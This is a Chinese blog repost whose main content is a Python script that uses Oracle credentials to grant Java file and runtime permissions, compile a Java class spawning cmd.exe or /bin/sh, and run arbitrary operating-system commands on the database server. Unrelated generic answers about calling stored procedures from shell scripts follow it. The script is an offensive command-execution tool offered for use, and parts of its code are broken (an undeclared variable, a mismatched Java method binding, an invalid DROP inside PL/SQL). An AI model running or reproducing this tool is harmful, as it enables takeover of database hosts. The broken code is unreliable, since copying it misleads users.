oracle 创建存储过程执行命令脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: ora_exec_cmd.py
# Author: Persuit

import getopt
import sys
import cx_Oracle

def usage():
    
    print('Usage: python %s [options]' % sys.argv[0])
    print('')
    print('Options:')
    print('  -h HOST, --host=HOST              target server address')
    print('  -u USER, --user=USER              Username')
    print('  -p PASS, --pass=PASS              Password')
    print('  -s SID, --sid=SID                 Target Sid Name')
    print('  -P PORT, --port=PORT              Oracle Port')
    #print('  -b BYPASS, --bypass=BYPASS        Bypass Creation Of Evil Functions')
    print('  -c COMMAND, --command=COMMAND     COMMAND')

def connectDB(host = '',user = '',passwd = '',sid = '',port = 1521):

    try:
        connstr = '%s/%s@%s:%d/%s' % (user,passwd,host,int(port),sid)
        conn=cx_Oracle.connect(connstr)
    except cx_Oracle.DatabaseError as e:
        print str(e)
        sys.exit(-1)

    return conn

def main():

    try:
        opts, args = getopt.getopt(sys.argv[1:], 'h:u:p:s:P:c:', ['host=', 'user=', 'passwd=', 'sid=', 'port=', 'command='])
    except getopt.GetoptError as e:
        print('[-] %s' % (str(e)))
        usage()
        sys.exit(2)
    
    host = ''
    user = ''
    passwd = ''
    sid = ''
    port = 1521
    command = ''

    for o, a in opts:
        if o in ('-h', '--host'):
            host = a
        elif o in ('-u','--user'):
            user = a
        elif o in ('-p','--passwd'):
            passwd = a
        elif o in ('-s','--sid'):
            sid = a
        elif o in ('-P','--port'):
            port = a
        elif o in ('-c','--command'):
            command = a
        else:
            pass

    if not host:
        print ('[!] host not be empty !')
        usage()
        sys.exit(2)

    elif not user:
        print ('[!] username not be empty!')
        usage()
        sys.exit(2)

    elif not passwd:
        print ('[!] password not be empty!')
        usage()
        sys.exit(2)

    elif not sid:
        print ('[!] sid not be empty!')
        usage()
        sys.exit(2)

    elif not command:
        print ('[!] command not be empty!')
        usage()
        sys.exit(2)

    #conn = connectDB('127.0.0.1','Oracle','123456','sdfsdf','dbtest',1521)
    conn = connectDB(host,user,passwd,sid,port)
    cursor = conn.cursor()

    print ("[-] Setting permissions...\n")
    setpermission = ''' BEGIN
                        dbms_java.grant_Permission('{0}', 'java.io.FilePermission', '<<ALL FILES>>', 'read ,write, execute, delete');
                        dbms_java.grant_Permission('{0}', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
                        dbms_java.grant_Permission('{0}', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');
                    END;'''.format(user.upper())
    cursor.execute(setpermission)
    #conn.commit()

    print ("[-] Creating Java class...\n")
    createjava = '''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String run_cmd(String args) {try {String[] fCmd;if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {fCmd = new String[3];fCmd[0] = "C:\\\\windows\\\\system32\\\\cmd.exe";fCmd[1] = "/c";fCmd[2] = command;}else {fCmd = new String[3];fCmd[0] = "/bin/sh";fCmd[1] = "-c";fCmd[2] = command;}final Process pr = Runtime.getRuntime().exec(fCmd);pr.waitFor();new Thread(new Runnable(){public void run() {BufferedReader br_in = null;try {br_in = new BufferedReader(new InputStreamReader(pr.getInputStream()));String buff = null;while ((buff = br_in.readLine()) != null) {System.out.println(buff);try {Thread.sleep(100); } catch(Exception e) {}}br_in.close();}catch (IOException ioe) {System.out.println("Exception caught printing process output.");ioe.printStackTrace();}finally { try { br_in.close(); } catch (Exception ex) {} }}}).start();new Thread(new Runnable(){public void run() {BufferedReader br_err = null;try {br_err = new BufferedReader(new InputStreamReader(pr.getErrorStream()));String buff = null;while ((buff = br_err.readLine()) != null) {System.out.println("Error: " + buff);try {Thread.sleep(100); } catch(Exception e) {}}br_err.close();}catch (IOException ioe) {System.out.println("Exception caught printing process error.");ioe.printStackTrace();}finally { try { br_err.close(); } catch (Exception ex) {} }}}).start();}catch (Exception ex){System.out.println(ex.getLocalizedMessage());}}};'''
    cursor.execute(createjava)

    print ("[-] Creating function...\n")
    creatfunc = '''create or replace function run_cmd( p_cmd in varchar2) return number as language java name 'Util.runthis(java.lang.String) return integer';'''
    cursor.execute(creatfunc)

    print ("[-] Creating procedure...\n")
    creatproc = '''create or replace procedure rc(p_cmd in varchar2) as x number; begin x := run_cmd(p_cmd);end;'''
    cursor.execute(creatproc)

    print ("[-] Exec cmd...\n")
    cmd = '''DECLARE
                l_output DBMS_OUTPUT.chararr;
                l_lines  INTEGER := 1000;

             begin
                DBMS_OUTPUT.enable(1000000); 
                DBMS_JAVA.SET_OUTPUT(1000000);
                rc('{0}');

             DBMS_OUTPUT.get_lines(l_output, l_lines);
             FOR i IN 1 .. l_lines LOOP
                DBMS_OUTPUT.put_line(l_output(i));
                NULL;
             END LOOP;
             end;'''.format(command)
    cursor.execute(cmd)

    print ("[-] Drop function...\n")
    dropfunc = '''BEGIN 
                    drop function run_cmd;
                  END;'''
    cursor.execute(dropfunc)

    cursor.close()
    conn.close()

if __name__ == '__main__':

    main()

 

转载于:https://www.cnblogs.com/persuit/p/6236347.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 要在shell脚本中调用Oracle存储过程,可以使用以下步骤: 1. 在Oracle数据库创建存储过程,确保它可以正常运行并返回预期的结果。 2. 在shell脚本中使用sqlplus命令连接到Oracle数据库。 3. 在sqlplus中使用“execute”命令来执行存储过程。 4. 将存储过程的输出保存到一个文件中,以便在shell脚本中进行处理。 5. 在shell脚本中读取文件并处理存储过程的输出。 需要注意的是,在执行存储过程之前,需要确保shell脚本中的环境变量和Oracle客户端设置正确。此外,还需要确保存储过程的参数和返回值类型正确匹配。 ### 回答2: Shell脚本是一种用于自动化操作的脚本语言,而Oracle存储过程是一种存储在数据库中的可重用的程序单元,它主要用于执行特定的任务并返回结果。将这两个技术结合起来,可以实现自动调用Oracle存储过程的功能。 要实现Shell脚本调用Oracle存储过程,需要遵循以下步骤: 1.首先需要在Oracle数据库创建存储过程。可以使用Oracle SQL Developer等工具进行创建和编辑。创建存储过程时需要注意设置存储过程的参数、入口和出口,并根据需要编写存储过程的逻辑代码。 2.编写Shell脚本。Shell脚本需要使用Oracle的命令行工具(例如sqlplus)连接到数据库,并执行对应的存储过程。在脚本中需要指定连接信息、执行的SQL语句、存储过程的参数等。 3.在Shell脚本中添加错误处理和日志记录。由于自动化操作存在一定的风险,因此需要在脚本中添加错误处理的逻辑,以便及时发现和解决问题。同时,还需要在脚本中添加日志记录的代码,以便对操作过程进行跟踪和监控。 4.测试脚本的性能和稳定性。在正式使用Shell脚本调用Oracle存储过程前,需要对脚本进行充分的测试,以保证它的性能和稳定性。可以通过模拟大量数据和重复调用等方式对脚本进行测试。 总之,Shell脚本调用Oracle存储过程是一种非常有用的技术,可以提高操作的自动化和效率。但在实际使用中需要注意安全和稳定性等问题,以便确保操作的成功和可靠性。 ### 回答3: Shell脚本调用Oracle存储过程是一种常见的做法,可以通过连接Oracle数据库,使用SQL语句在Shell脚本中调用存储过程。 首先,需要安装Oracle客户端,并配置好环境变量。在Shell脚本中,使用以下命令连接Oracle数据库: sqlplus -s username/password@sid 其中,username为Oracle数据库的用户名,password为密码,sid为服务名或实例名。使用-s参数可以不显示SQL语句执行的结果。 连接成功后,使用以下命令执行存储过程: BEGIN Procedure_Name(Parameter1,Parameter2,...); END; 其中,Procedure_Name为存储过程的名称,Parameter1,Parameter2等为存储过程的参数。在调用存储过程时,需要根据存储过程的参数类型传递参数值。例如: BEGIN Proc_Name('value1',50); END; 如果存储过程有返回值,可以通过以下方式获取: VAR return_value NUMBER BEGIN :return_value := Proc_Name('value1'); END; 其中,return_value为定义的变量名称,使用VAR命令定义变量类型和名称。在存储过程执行完毕后,将返回值赋给变量。 调用Oracle存储过程的Shell脚本需要考虑以下几点: 1. Shell脚本中需要安装Oracle客户端,并配置好环境变量。 2. 连接Oracle数据库时,需要使用正确的用户名、密码和服务名或实例名。 3. 在调用存储过程时,需要传递正确的参数类型和值,并根据情况获取返回值。 4. 使用错误处理技术,避免因为Oracle数据库连接失败或存储过程执行错误而导致Shell脚本执行失败。 总之,Shell脚本调用Oracle存储过程可以帮助我们实现自动化的数据库操作,提高工作效率和数据质量。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值